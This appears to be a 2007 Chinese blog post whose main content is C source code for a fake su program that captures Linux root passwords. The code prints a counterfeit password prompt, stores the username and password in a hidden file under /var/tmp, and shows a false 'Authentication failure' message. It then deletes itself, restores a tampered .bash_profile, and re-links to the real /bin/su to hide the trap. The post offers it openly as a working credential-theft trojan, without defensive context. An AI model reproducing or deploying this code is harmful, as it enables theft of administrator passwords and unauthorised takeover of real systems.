linux下记录su密码的代码
amxku 发表于 2007-08-23, 11:04.
发表在:
技术相关
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-
- main(int argc, char *argv[]){
-
- FILE *fp;
- char *user;
- char *pass;
- char filex[100];
- char clean[100];
-
- sprintf(filex,"/var/tmp/.pwds");
- sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");
- if(argc==1) user="root";
- if(argc==2) user=argv[1];
- if(argc>2){
- if(strcmp(argv[1], "-l")==0)
- user=argv[2];
- else user=argv[1];}
-
- fprintf(stdout,"Password: ");
- pass=getpass ("");
- system("sleep 3");
- fprintf(stdout,"su: Authentication failure\nSorry.\n");
-
- if ((fp=fopen(filex,"w")) != NULL)
- {
- fprintf(fp, "%s:%s\n", user, pass);
- fclose(fp);
- }
-
- system(clean);
- system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
- }
上一篇:MySQL CLUSTER(集群)系列
下一篇:Cisco设备做流量监控的方法
相关文章
访客评论( 2 楼)
发表评论
2007-08-27, 17:09:15